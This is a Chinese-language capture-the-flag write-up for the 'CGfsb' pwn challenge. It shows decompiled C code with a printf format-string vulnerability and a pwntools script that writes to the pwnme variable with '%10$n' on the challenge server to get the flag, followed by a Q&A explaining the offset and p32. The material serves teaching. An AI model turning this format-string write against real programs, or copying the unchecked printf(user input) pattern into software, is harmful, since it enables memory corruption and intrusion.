攻防世界 | CGfsb
这题算是一次复现,虽然师傅们的wp已经很详细了但是对于我菜虚困来说还是有些点不是很懂,所以特此梳理一下思路
int __cdecl main(int argc, const char **argv, const char **envp)
{
int buf; // [esp+1Eh] [ebp-7Eh]
int v5; // [esp+22h] [ebp-7Ah]
__int16 v6; // [esp+26h] [ebp-76h]
char s; // [esp+28h] [ebp-74h]
unsigned int v8; // [esp+8Ch] [ebp-10h]
v8 = __readgsdword(0x14u);
setbuf(stdin, 0);
setbuf(stdout, 0);
setbuf(stderr, 0);
buf = 0;
v5 = 0;
v6 = 0;
memset(&s, 0, 0x64u);
puts("please tell me your name:");
read(0, &buf, 0xAu);
puts("leave your message please:");
fgets(&s, 100, stdin);
printf("hello %s", &buf);
puts("your message is:");
printf(&s);
if ( pwnme == 8 )
{
puts("you pwned me, here is your flag:\n");
system("cat flag");
}
else
{
puts("Thank you!");
}
return 0;
}
读一下伪码可以看到只要让 pwnme==8 就行了。
from pwn import * p = remote('111.198.29.45',34352) pwnme = 0x0804A068 payload1 = 'aaaa' payload2 = p32(pwnme) + 'aaaa%10$n' p.recvuntil('please tell me your name:\n') p.sendline(payload1) p.recvuntil('leave your message please:\n') p.sendline(payload2) print(p.recv()) print(p.recv()) # p.interactive()
%10$n 是什么意思 ?答: 将XXX写入偏移10处 保存的指针 所指向的地址(4字节)[在这里是把一个字符串的长度(自己构造一个长度为8的)写到pwnme的地方]
偏移为什么10 ? 答:gdb调试可得(PS :在调试之前记得chmod 777)
这里通过输入的‘21’带出了偏移地址
p32()是什么函数?答:pwntools提供了一组函数用来对给定的数据按照一定的格式进行解码和编码。这些函数以p或u为开头,后面加上一个数字代表位数,例如p32和u32。
printf(&s) 其中s='h�aaaa%10$n'
参考:
https://blog.csdn.net/zz_Caleb/article/details/88980866
https://adworld.xctf.org.cn/task/writeup?type=pwn&id=5050&number=2&grade=0&page=1